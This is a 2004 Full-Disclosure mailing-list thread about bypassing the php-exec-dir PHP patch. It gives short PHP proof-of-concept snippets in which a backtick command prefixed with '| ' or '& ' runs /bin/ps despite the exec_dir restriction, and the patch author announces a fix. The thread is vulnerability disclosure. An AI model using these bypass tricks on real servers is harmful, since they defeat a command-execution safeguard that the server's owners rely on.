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[Full-Disclosure] RE: php-exec-dir vulnerable after latest upgrade

Another way to do this is to replace | with "&" still need space after wards

example:

<?php
$blah = `& /bin/ps aux`;
echo nl2br($blah);
?>


----- Original Message ----- From: "VeNoMouS" <venom@xxxxxxxxxxx>
To: "C. McCohy" <mccohy@xxxxxxxxxxxx>; <full-disclosure@xxxxxxxxxxxxxxxx>
Sent: Thursday, July 08, 2004 1:05 PM
Subject: php-exec-dir vulnerable after latest upgrade


<?php

$blah = `| /bin/ps aux`;
echo nl2br($blah);
?>

^^ do a |<space>ps exploits it again

i my exec_dir in php.ini set to /usr/local/lib/php/bin/ with nothing inside it and i was still able to execute it, you HAVE to do the space after the pipe '|'.


----- Original Message ----- From: "C. McCohy" <mccohy@xxxxxxxxxxxx>
To: "VeNoMouS" <venom@xxxxxxxxxxx>
Sent: Wednesday, July 07, 2004 9:43 PM
Subject: Re: php-exec-dir vulnerable?


Ok I fixed all patches to all previous and current versions of the patch,
description can be found on the project homepage
http://kyberdigi.cz/projects/execdir/

Please inform all internet groups you have informed about the bug before.

--
Baj ... C. McCohy

While you are reading this text, an essential hacking tool
is being silently installed on your computer.





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